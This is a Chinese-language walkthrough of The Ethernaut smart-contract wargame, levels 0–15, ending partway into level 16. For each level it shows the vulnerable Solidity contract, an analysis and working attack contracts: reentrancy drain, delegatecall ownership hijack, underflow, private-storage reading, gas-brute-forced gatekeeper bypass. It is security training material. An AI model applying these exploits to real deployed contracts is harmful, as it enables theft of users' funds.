The Ethernaut题解

Level_0.Hello Ethernaut

  1. 安装MetaMask;
  2. F12中的Console,一些指令查看state:

查看自己的钱包地址->player:

image-20241227161815795

查看余额->getBalance(player):

image-20241227162322424

查看合约->ethernaut:

image-20241227163241911

合约交互,比如查看合约的owner->ethernaut.owner():

image-20241227163710865

  1. 从水龙头处获得ETH:(可以Sepolia PoW Faucet挖,也可以某鱼直接购买)

  2. 部署合约:点击Get new instance即可部署;

image-20241227180641797

  1. 查看合约信息:

image-20241227180800123

image-20241227181000487

  1. 根据指引往下调用函数:

image-20241227184728915

知道密码的话可以调用验证函数,但不知道密码在哪,查看一下合约信息:

image-20241227185411899

可以看到有一个password()函数,输入参数为空,输出的是一个字符串;

image-20241227185618494

成功验证,且提交后会显示源码供分析:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Instance {
    string public password;
    uint8 public infoNum = 42;
    string public theMethodName = "The method name is method7123949.";
    bool private cleared = false;

    // constructor
    constructor(string memory _password) {
        password = _password;
    }

    function info() public pure returns (string memory) {
        return "You will find what you need in info1().";
    }

    function info1() public pure returns (string memory) {
        return 'Try info2(), but with "hello" as a parameter.';
    }

    function info2(string memory param) public pure returns (string memory) {
        if (keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked("hello"))) {
            return "The property infoNum holds the number of the next info method to call.";
        }
        return "Wrong parameter.";
    }

    function info42() public pure returns (string memory) {
        return "theMethodName is the name of the next method.";
    }

    function method7123949() public pure returns (string memory) {
        return "If you know the password, submit it to authenticate().";
    }

    function authenticate(string memory passkey) public {
        if (keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {
            cleared = true;
        }
    }

    function getCleared() public view returns (bool) {
        return cleared;
    }
}

Level_1.Fallback

要求:

  1. 将合约所有权归于自己
  2. 将合约余额减少到0

合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
    // 映射,地址->金额
    mapping(address => uint256) public contributions;
    // 状态变量,拥有者
    address public owner;

    // 构造函数
    // 将消息发送者变成owner
    // contributions[owner] = 1000ether
    constructor() {
        owner = msg.sender;
        contributions[msg.sender] = 1000 * (1 ether);
    }
    // 修饰器,判断消息发送者是否是owner
    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    // 贡献eth,超过上一个owner的贡献金额后,会变成owner
    function contribute() public payable {
        // 需要合约的值小于0.001ether
        require(msg.value < 0.001 ether);
        // contributions[消息发送者]的金额增加
        contributions[msg.sender] += msg.value;
        // 更换owner,前提是得比上一个owner金额更多
        if (contributions[msg.sender] > contributions[owner]) {
            owner = msg.sender;
        }
    }

    // 返回自己账户的金额
    function getContribution() public view returns (uint256) {
        return contributions[msg.sender];
    }

    // owner取回自己的钱
    function withdraw() public onlyOwner {
        // 接收方.transfer(ETH数额)
        payable(owner).transfer(address(this).balance);
    }

    // 收到ETH时触发
    // 一个合约最多有一个receive
    receive() external payable {
        // 需要当前携带的金额大于0 且 发送者的余额大于0
        require(msg.value > 0 && contributions[msg.sender] > 0);
        // 变更owner
        owner = msg.sender;
    }
}

分析

contribute()函数表示,只要贡献次数大于1000000次,就可以成为owner,这显然是不现实的;

还有一个地方可以变更owner,那就是receive()函数,需要我的贡献额度大于0,且携带一点金额,就可以把owner变更成我;

那思路还是挺清晰的:

  1. 贡献一次;
  2. 调用receive()函数,并且msg.data要为空;

image-20250306220004986

  1. 当成为owner后,调用withdraw()取出所有余额;

攻击

首先部署一下题目获得地址:

image-20241229164219231

复制一下合约内容到Remix中,将环境调成Injected Provider-MetaMask,然后使用At Address来交互:

image-20241229165049261

开始第一步,先贡献1Gwei到合约中(发送1wei会失败,可能未达到交易的最低额度):

image-20241229170736697

调用receive(),并且msg.data要为空:

image-20241229171738381

此时owner已经是我们的了:

image-20241229171847579

最后,调用withdraw,提款跑路:

image-20241229172043911

image-20241229172229034

Level_2.Fallout

要求:

获取合约的所有权

合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Fallout {
    // 为uint256使用SafeMath包
    using SafeMath for uint256;

    // 映射,地址=>金额
    mapping(address => uint256) allocations;
    // 所有者
    address payable public owner;
    
    // 构造函数
    function Fal1out() public payable {
        // 消息发送者为合约所有者
        owner = msg.sender;
        // allocations[owner] = 附带的金额
        allocations[owner] = msg.value;
    }

    // 修饰器,只有owner才能执行
    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function allocate() public payable {
        // allocations[消息发送者] + value
        allocations[msg.sender] = allocations[msg.sender].add(msg.value);
    }

    // 将allocator的全部金额转回给他
    function sendAllocation(address payable allocator) public {
        require(allocations[allocator] > 0);
        allocator.transfer(allocations[allocator]);
    }

    // 给消息发送者转账该合约全部金额,只有owner可以调用
    function collectAllocations() public onlyOwner {
        msg.sender.transfer(address(this).balance);
    }

    // 查看allocator的金额
    function allocatorBalance(address allocator) public view returns (uint256) {
        return allocations[allocator];
    }
}

分析

题目要我们获取合约所有权,整个合约就一个地方有变更owner的:

// 构造函数
function Fal1out() public payable {
    // 消息发送者为合约所有者
    owner = msg.sender;
    // allocations[owner] = 附带的金额
    allocations[owner] = msg.value;
}

但看版本是0.6,构造函数根本不是这么写的:

// 0.4.22版本以下,构造函数是使用合约同名函数
contract AAA{
    function AAA(){
        // 构造函数
    }
}
// 0.4.22版本以上,构造函数必须使用constructor关键字
contract BBB{
    constructor(){
        // 构造函数
    }
}

仔细看会发现合约名是Fallout,函数名是Fal1out

那直接用咱们的钱包调用Fal1out函数,附带一点金额就行了;

攻击

直接将整个合约拷贝到Remix中是会直接报错的,需要解决很长时间;

这里我们直接写抽象函数即可,因为我们就是想快捷地向合约发送ABI才来使用Remix的,将需要调用的函数声明一下即可:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Fallout {
    // owner状态变量
    address payable public owner;
    // Fal1out函数
    function Fal1out() public payable {}
}

image-20241231000710976

附带金额并调用:

image-20241231000825120

查看现在的owner,是自己的钱包:

image-20241231000915307

Level_3.Coin Flip

要求:

是一个抛硬币游戏,需要连续猜对10次;

合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
        consecutiveWins = 0;
    }

    // 抛硬币函数
    function flip(bool _guess) public returns (bool) {
        // 获取上一个区块的哈希
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }
        // 赋值到lastHash
        lastHash = blockValue;
        // 用上一个块的哈希除以一个值来实现随机效果
        uint256 coinFlip = blockValue / FACTOR;
        // 判断当前回合结果
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}

分析

该合约实现了一个通过区块哈希来实现随机效果的抛硬币游戏,但仔细想一下并不是真正的随机;

由于以太坊区块生成速度不是特别快,当我们查到上一个区块的哈希值时的同时进行猜硬币,两个动作查询的上一个区块哈希值大概率是同一个;

所以只需要写一个脚本攻击即可,速度也不能太快,不然可能交易失败;

攻击

攻击合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./Ethernaut.sol";

contract Exp {
    // 抛硬币合约对象
    CoinFlip public coinfilp;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    // 设置抛硬币合约
    function setContract(address addr) public {
        coinfilp = CoinFlip(addr);
    }

    // 攻击合约
    function Attack() public returns (bool){
        // 获取上一个区块的值
        uint256 lastblockValue = uint256(blockhash(block.number - 1));
        // 计算硬币结果
        uint256 flip = lastblockValue / FACTOR;
        bool res;
        if (flip == 1){
            res = true;
        } else {
            res = false;
        }
        // 调用抛硬币合约执行
        return coinfilp.flip(res);
    }
}

设置合约地址:

image-20250101130854812

连续攻击10次:

image-20250101132034605

最后一次攻击的区块查询:

image-20250101133206837

查看结果:

image-20250101131955551

Level_4.Telephone

要求:

将合约所有权归于自己;

合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}

分析

合约很简单,能修改owner的地方只有两处:

  1. 构造函数
  2. changeOwner函数

构造函数肯定不能被利用了,只剩下一个changeOwner函数,只要交易的发送者不为该消息的发送者即可;

可以简单增加点Logger看一下分别是什么:

image-20250101155919901

所以,我们得增加一个代理商来帮我们调用这个函数,这个代理商就是一个中转合约:

image-20250101160615268

注意,delegetecall不能用,比如A-->B-->CA委托调用C,此时的tx.originmsg.sender都是A;只能用call

攻击

攻击合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./Ethernaut.sol";

contract Exp {
    Telephone public tel;

    function delegateCall(address _contract, address _wallet) public {
        tel = Telephone(_contract);
        tel.changeOwner(_wallet);
    }
}

image-20250101161836851

Level_5.Token

要求:

获得更多的tokens;

合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
    mapping(address => uint256) balances;
    uint256 public totalSupply;

    // 初始供应量 = 总供应量 = 合约拥有者的余额
    constructor(uint256 _initialSupply) public {
        balances[msg.sender] = totalSupply = _initialSupply;
    }

    // 转账
    function transfer(address _to, uint256 _value) public returns (bool) {
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }

    function balanceOf(address _owner) public view returns (uint256 balance) {
        return balances[_owner];
    }
}

分析

要求我们获得更多的tokens,唯一方法就是在transfer函数中,看到版本是0.6,该版本中有整数溢出问题(到0.8就被修复了);

uint256的最大值是2^256 - 1,也就是32位比特全部填满1;

接下来举4个比特的例子:

0 - 1 -> 0000 - 0001 (由于进位) --> 1111 = 7

7 + 1 -> 1111 + 0001 (由于进位) --> 0000 = 0

所以,这道题我们就得利用0 - 1这个下溢漏洞,使我们的余额变大;

由于msg.sender是我们自己的钱包,所以_value要比balance[msg.sender]大,大1可以获得最大收益,使其为21;

至于这个_to,可以是任意地址,这边就使其为全0;

所以我们只需调用函数transfer(0x0000000000000000000000000000000000000000, 21)即可;

攻击

image-20250102233701184

Level_6.Delegation

要求:

将合约所有权归于自己;

合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {
    address public owner;
    constructor(address _owner) {
        owner = _owner;
    }
    // 使owner变为msg.sender
    function pwn() public {
        owner = msg.sender;
    }
}

contract Delegation {
    address public owner;
    Delegate delegate;

    // 设置代理地址和owner
    constructor(address _delegateAddress) {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }
    
    // 调用不存在函数时会执行
    // 此处不能接受ETH,因为没有payable关键字
    fallback() external {
        // 代理调用,参数是msg.data
        (bool result,) = address(delegate).delegatecall(msg.data);
        if (result) {
            this;
        }
    }
}

分析

两个合约中除构造函数外修改owner的就一个函数:pwn(),但目前不清楚哪会调用它;

往下看发现Delegation会设置代理合约,然后在fallback中执行msg.data

首先来回顾一下calldelegatecall的区别,例子:钱包A 调用 合约B,合约B call/delegatecall 合约C的函数

// call
A ----------call----------> B ----------call----------> C
                     msg.sender = A              msg.sender = B
                     msg.data = A给的             msg.data = B给的
                     变量的变化 = 仅C中的变量变化    变量的变化 = 仅C中的变量变化

// delegatecall
A ----------call----------> B ----------delegatecall----------> C
                     msg.sender = A                  ****msg.sender = A****
                     msg.data = A给的                     msg.data = A给的
                     变量的变化 = 仅C中的变量变化            变量的变化 = 仅B中的变量变化

可以一句话总结,delegatecall就是用户A他的身份和内容,借用合约C中的函数更改合约B中的内容

可以看到,给我们生成的示例是Delegation合约:

image-20250103000610388

也就是希望我们用自己的钱包通过代理合约调用pwn,这样owner就会被设置成我们的;

当调用不存在的函数时,默认会调用fallback函数,只需在msg.data中填入pwn的函数选择器即可;

攻击

函数pwn()的函数选择器是:0xdd365b8b

image-20250103002218467

Level_7.Force

要求:

使合约的余额大于0;

合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force { /*
                   MEOW ?
         /\_/\   /
    ____/ o o \
    /~____  =ø= /
    (______)__m_m)
                   */ }

分析

貌似并没有给我们合约的具体内容;

交易查询网站上查到合约的字节码:

// 0x6080604052600080fdfea26469706673582212203717ccea65e207051915ebdbec707aead0330450f3d14318591e16cc74fd06bc64736f6c634300080c0033

反编译一下字节码:

// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.

function __function_selector__() private { 
    MEM[64] = 128;
    revert();
}

发现好像就是一个空的合约;

题目的意思就是我们得往里面转账,可是receive()fallback()都不存在,向合约发送ETH是会报错的;

image-20250104142255716

由于版本是0.8,此时的selfdestruct还没有升级,可以向指定地址转账,无论那个地址是否有payable函数;

所以我们只需要部署一个合约,往其中转入一些ETH,之后销毁它,将其中ETH转入题目合约即可;

攻击

攻击脚本,记得将编译版本调低一点:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Exp {
    function destruct(address payable addr) public {
        selfdestruct(addr);
    }
    receive() external payable { }
}

image-20250104151331492

Level_8.Vault

要求:

解锁合约;

合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
     bool public locked;
     bytes32 private password;

     constructor(bytes32 _password) {
        locked = true;
        password = _password;
     }

     // 输入正确的密码解锁
     function unlock(bytes32 _password) public {
          if (password == _password) {
               locked = false;
          }
     }
}

分析

合约内容很简单,构造函数设置了一个密码,只需要猜中正确的密码,合约即可解锁;

password是一个状态变量,要是public类型的,我们直接能在Remix上看到是什么,可是它是一个private的变量;

逆向角度

首先看看部署合约时,是否泄漏了该变量的赋值,先搞个demo试试看:

image-20250104155310591

image-20250104155144449

image-20250104182055877

image-20250204194751932

可以看到部署合约中有对它们的赋值,也就是说,找到部署题目的合约,反编译一下应该能拿到password的初始值;

直接去题目合约地址查看:Contract-Code(查询交易哈希发现Logs中有3个地址,其中instance代码反编译看了一下是负责生成、提交题目的,就只剩level了);

反编译后发现好像和其他的都不太一样,首先是整个合约就一个状态变量,然后很多函数,但其中有一个CreateInstance非常值得注意:

image-20250104185346749

image-20250104185400716

和平时我们自己声明的不太一样,有点像是工厂合约,自己整一个demo:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Exp {
    uint256 public aaa;
    uint256 private bbb;
    constructor(uint256 _b){
        aaa = 123;
        bbb = _b;
    }
}
contract Demo {
    function CreateExp() public returns (address) {
        Exp exp = new Exp(456);
        return address(exp);
    }
}

反编译一下瞬间感觉熟悉了:

image-20250104185639376

image-20250104185719279

再细致对比一下,private的值最终去哪了:

image-20250104190747282

反过来看看目标合约:

image-20250104190951485

所以var1中的内容就是password

看这两个会更加清晰,可以先看Decompiled的,再看Decompiled yul的;

Vault合约:https://app.dedaub.com/decompile?md5=8105cca6be44ba8109c4052582f7d48b

Demo合约:https://app.dedaub.com/decompile?md5=b57b973643be2b523aad92b508579553

数据存储角度

所有状态变量都是存在链上的,包括私有数据,所以知道数据在哪,就可以直接查看;

合约中状态变量都是存在一个个的slot中,每个slot长度都是256位且是key-value配对的;

存储的位置是按照声明顺序来的:

image-20250104192911237

该题目的合约:

bool public locked;
bytes32 private password;

显然是在slot1的位置;控制台中直接输入:web3.eth.getStorageAt(contract.address, 1)

image-20250104193632516

同样的答案;

攻击

为了简单,直接控制台输入指令执行合约了:contract.unlock("0x412076657279207374726f6e67207365637265742070617373776f7264203a29")

Level_9.King

要求:

成为king,且在提交题目时,owner会再次尝试成为king,避免owner成功;

合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {
    address king;
    uint256 public prize;
    address public owner;

    constructor() payable {
        owner = msg.sender;
        king = msg.sender;
        prize = msg.value;
    }

    // 收款时使用
    receive() external payable {
        // 需要携带的金额大于等于现有出价
        // 或者发送者是owner
        require(msg.value >= prize || msg.sender == owner);
        // 给之前的king转账
        payable(king).transfer(msg.value);
        // 更新king和最高出价
        king = msg.sender;
        prize = msg.value;
    }

    function _king() public view returns (address) {
        return king;
    }
}

分析

合约类似一个拍卖系统,最高价者是这个合约的king,并且之前的king能获得新king的出价报酬;

首先就是想看看能不能获得owner,发现合约中并没有能够修改owner的地方;

这边也没什么可以溢出的地方;且提交题目时,owner会利用msg.sender == owner来重新成为king

所以发送的金额再高也没啥用,msg.valueowner都失效了,看看msg.sender

要是king是一个合约地址,且它没有receive()fallback(),那调用transfer()不就会失败?这样king永远不会被修改了;

之前的笔记:

用法:接收方地址.transfer(发送的ETH数额)

  • transfer的gas限制是2300,足够用于转账,前提是接收方的fallbackreceive不能太复杂;
  • transfer如果转账失败,会自动revert交易(回滚交易);

所以,我们只需部署一个无接受转账函数的合约,利用它往该合约转账相应金额成为king即可;

攻击

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Exp {
    function getKing(address payable addr) public payable {
        // 使用call,以防对面的接收函数实现了复杂逻辑
        (bool success, )= addr.call{value:msg.value}("");
        require(success, "Fail");
    }
}

image-20250105171117474

Level_10.Re-entrancy

要求:

偷完该合约所有资金;

合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Reentrance {
    using SafeMath for uint256;

    mapping(address => uint256) public balances;
    // 捐赠
    function donate(address _to) public payable {
        balances[_to] = balances[_to].add(msg.value);
    }
    // 查询余额
    function balanceOf(address _who) public view returns (uint256 balance) {
        return balances[_who];
    }

    // 取钱
    function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result,) = msg.sender.call{value: _amount}("");
            if (result) {
                _amount;
            }
            balances[msg.sender] -= _amount;
        }
    }

    receive() external payable {}
}

分析

从题目名字就能看出,是个重入攻击;

一般有重入攻击的合约都是先转账再扣金额的,而且使用的是addr.call{value}("")这个转账函数;

function withdraw(uint256 _amount) public {
    if (balances[msg.sender] >= _amount) {
        (bool result,) = msg.sender.call{value: _amount}("");
        balances[msg.sender] -= _amount;
    }
}

重入攻击就是当用户取款时,在(bool result,) = msg.sender.call{value: _amount}("");这一句后发动重复的攻击,此时合约中存储我们账户余额的mapping还没有改动;有点类似递归,一直在调用,但还没返回;

如何来实现攻击呢?

写一个合约,使其有个withdraw函数,再来个receive函数:

// 取款
function attack_withdraw() external {
    // 调用原withdraw
    victim.withdraw(money);
}
// 接收ETH时
receive() external payable {
    victim.withdraw(money);
}
  1. 我们调用attack_withdraw()函数;
  2. 调用victim.withdraw()取款;
  3. 此时ETH到我们的合约上,正好又触发receive()函数;
  4. receive()函数又调用victim.withdraw()函数;
  5. 触发receive()函数;
  6. ...

直到目标合约没钱了;

攻击

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import "./Ethernaut.sol";

contract Exp {
    Reentrance public re;
    // 给合约赋值,并且donate0.001
    constructor(address payable addr) public payable {
        re = Reentrance(addr);
        re.donate{value:0.001 ether}(address(this));
    }
    // 取款
    function withdraw() external {
        // 调用原withdraw
        re.withdraw(0.001 ether);
        // 此时钱在该合约里,所以需要给我们自己转账
        (bool res, ) = msg.sender.call{value:address(this).balance}("");
        require(res);
    }
    
    receive() external payable {
        re.withdraw(0.001 ether);
    }
}

部署合约,并捐赠:

image-20250105232013719

发动重入攻击:

image-20250105232201801

区块浏览器上查阅的详细信息:

image-20250105232229652

Level_11.Elevator

要求:

到达顶层;

合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
    function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
    bool public top;
    uint256 public floor;

    function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);

        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}

分析

给出的合约中有一个接口Building和主合约Elevator

函数goTo中后半部分的判断应该是:

  1. if (!building.isLastFloor(_floor))isLastFloor应该返回False,这样才能往下执行;
  2. top = building.isLastFloor(floor);isLastFloor应该返回True,这样就能达到题目要求;

但现在的问题是,我们并不知道isLastFloor中的逻辑是什么;

注意这一句Building building = Building(msg.sender);,若我们(合约)是msg.sender,那我们完全可以实现按照我们逻辑的isLastFloor函数;

所以,我们只需实现一个我们自己的isLastFloor,一开始返回False,随后返回True即可;

攻击

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Ethernaut.sol";

contract Exp is Building {
    Elevator public elev;
    bool flag = false;
    // 初始化合约地址
    constructor(address addr){
        elev = Elevator(addr);
    }
    // 实现接口
    function isLastFloor(uint256) external override returns (bool){
        if (flag == false) {
            flag = true;
            return false;
        } else {
            return true;
        }
    }
    // 攻击
    function Attack() public {
        elev.goTo(2);
    }
}

image-20250112021436326

Level_12.Privacy

要求:

解锁合约;

合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {
    bool public locked = true;
    uint256 public ID = block.timestamp;
    uint8 private flattening = 10;
    uint8 private denomination = 255;
    uint16 private awkwardness = uint16(block.timestamp);
    bytes32[3] private data;

    constructor(bytes32[3] memory _data) {
        data = _data;
    }

    function unlock(bytes16 _key) public {
        require(_key == bytes16(data[2]));
        locked = false;
    }

    /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
    */
}

分析

很像Level_8.Vault,都是获取泄漏的状态变量值来通关;直接计算每个数据该在哪个slot

slot0(256位) locked
slot1(256位) ID
slot2(256位) (按在内存中的顺序)awkwardness(128位)|denomination(64位)|flattening(64位)
slot3(256位) bytes32[0]
slot4(256位) bytes32[1]
slot5(256位) bytes32[2]

unlock函数中显示我们要找data[2],并且将其转化为bytes16

写个demo看看转成bytes16是取前半还是后半:

image-20250112030221329

所以我们只需查看slot5,然后截取前128位(32个16进制)即可;

攻击

查看slot5中的值:

image-20250112030313465

截取数据:

// 0x7ae5e3ef178f7269c652145bdc7cb7d126d9805f491017c8cab8850b590823eb
// |
// |
// 0x7ae5e3ef178f7269c652145bdc7cb7d1

解锁:

image-20250112030717463

Level_13.Gatekeeper One

要求:

通过守门人;

合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {
    address public entrant;

    // 三道关卡
    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    modifier gateTwo() {
        require(gasleft() % 8191 == 0);
        _;
    }

    modifier gateThree(bytes8 _gateKey) {
        require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
        require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
        require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
        _;
    }

    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}

分析

此合约有3道关卡需要通过;

第一道关卡

需要消息的发送者不是交易的发送者;

这个在之前做过,通过增加一个合约代理利用call即可绕过(delegatecall不能用,两个值会相同);

第二道关卡

剩余gas得是8191的倍数;

Solidity中可以使用call{gas:xxx}("")自定义携带的gas费用,我们可以利用一个自动化脚本来实现攻击;

第三道关卡

输入数据需要符合各种转换;

image-20250127010655109

可以看到,转换基本就是取bytes的后多少位;

从最后开始往前推:

输入一共是16个hex;

  1. uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)

tx.origin的末尾4个hex = 输入的末尾8个hex

  1. uint32(uint64(_gateKey)) != uint64(_gateKey)

完整的输入 != 输入的末尾8个hex

  1. uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)

输入的末尾4个hex = 输入的末尾8个hex

总结一下就是:输入的最后4个hex要为我们地址的最后4个hex,前8个hex要不全为0,中间的4个hex要为0;

用位运算来表达就是:tx.origin & 0xFFFFFFFF0000FFFF

攻击

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Ethernaut.sol";

contract Exp {
    function Attack(address addr, uint256 gas) public {
        GatekeeperOne go = GatekeeperOne(addr);
        bytes8 key = bytes8(uint64(uint160(tx.origin) & 0xFFFFFFFF0000FFFF));
        require(go.enter{gas: 8191 * 10 + gas}(key), "failed");
    }

    function Start(address addr) public {
        for(uint256 i = 1; i < 8191; i++){
            try this.Attack(addr, i) {
                break;
            } catch {}
        }
    }
}

等个十几秒就成功了:

(我这边得到正确的gas后,单独运行Attack却失败,调试了好久都不清楚原因...)

image-20250127235808699

Level_14.Gatekeeper Two

要求:

通过守门人;

合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {
    address public entrant;

    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    modifier gateTwo() {
        uint256 x;
        assembly {
            x := extcodesize(caller())
        }
        require(x == 0);
        _;
    }

    modifier gateThree(bytes8 _gateKey) {
        require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
        _;
    }

    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}

分析

第一道关卡

和上一个一样的,通过增加一个合约作为代理绕过;

第二道关卡

extcodesize():获得账户中代码的size;

caller():调用者的地址

所以合约中的x为我们攻击合约的代码长度;

但要使其为0,得是个账户地址,而不能是一个合约地址;

但是,从stackexchange这个帖子中可以知道,在构造函数中运行,返回的是0;

第三道关卡

uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max)

type(uint64).max) = 0xFFFFFFFFFFFFFFFF;

// 异或
uint64(_gateKey) = 0xFFFFFFFFFFFFFFFF ^ uint64(bytes8(keccak256(abi.encodePacked(msg.sender))));

此时的msg.sender为攻击合约地址;

计算方法:bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ 0xFFFFFFFFFFFFFFFF)

攻击

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Ethernaut.sol";

contract Exp {
    constructor(address addr){
        GatekeeperTwo gt = GatekeeperTwo(addr);
        bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ 0xFFFFFFFFFFFFFFFF);
        require(gt.enter(key), "failed");
    }
}

Level_15.Naught Coin

要求:

使账户的tokens余额为0;

合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";

contract NaughtCoin is ERC20 {
    // string public constant name = 'NaughtCoin';
    // string public constant symbol = '0x0';
    // uint public constant decimals = 18;
    uint256 public timeLock = block.timestamp + 10 * 365 days;
    uint256 public INITIAL_SUPPLY;
    address public player;

    constructor(address _player) ERC20("NaughtCoin", "0x0") {
        player = _player;
        INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));
        // _totalSupply = INITIAL_SUPPLY;
        // _balances[player] = INITIAL_SUPPLY;
        _mint(player, INITIAL_SUPPLY);
        emit Transfer(address(0), player, INITIAL_SUPPLY);
    }

    function transfer(address _to, uint256 _value) public override lockTokens returns (bool) {
        super.transfer(_to, _value);
    }

    // Prevent the initial owner from transferring tokens until the timelock has passed
    modifier lockTokens() {
        if (msg.sender == player) {
            require(block.timestamp > timeLock);
            _;
        } else {
            _;
        }
    }
}

分析

该合约提供了一个ERC20代币,但锁定了十年后才能转账;

ERC20.sol中可以注意到转账相关的函数如下:

function transfer(address to, uint256 value) public virtual returns (bool) {
    address owner = _msgSender();
    _transfer(owner, to, value);
    return true;
}

function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
    address spender = _msgSender();
    _spendAllowance(from, spender, value);
    _transfer(from, to, value);
    return true;
}

function approve(address spender, uint256 value) public virtual returns (bool) {
    address owner = _msgSender();
    _approve(owner, spender, value);
    return true;
}

其中transfer(address to, uint256 value)被重写了,但是我们还能用transferFrom(address from, address to, uint256 value)这个函数;

使用transferFrom这个函数时需要注意,查询的是映射allowances,需要先approve一下,之后扣款是扣当前账户的余额;

所以只需先授权给自己,然后转给其他人即可;

攻击

为了简单的调用函数,直接实现一个接口,通过Remix的At Address来调用:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface INaughtCoin {
    function transferFrom(address from, address to, uint256 value) external virtual returns (bool);
    function approve(address spender, uint256 value) external virtual returns (bool);
}

image-20250201005723813

Level_16.Preservation

要求:

成为合约的owner;

合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {
    // public library contracts
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;
    uint256 storedTime;
    // Sets the function signature for delegatecall
    bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

    constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
        timeZone1Library = _timeZone1LibraryAddress;
        timeZone2Library = _timeZone2LibraryAddress;
        owner = msg.sender;
    }

    // set the time for timezone 1
    function setFirstTime(uint256 _timeStamp) public {
        timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
    }

    // set the time for timezone 2
    function setSecondTime(uint256 _timeStamp) public {
        timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
    }
}

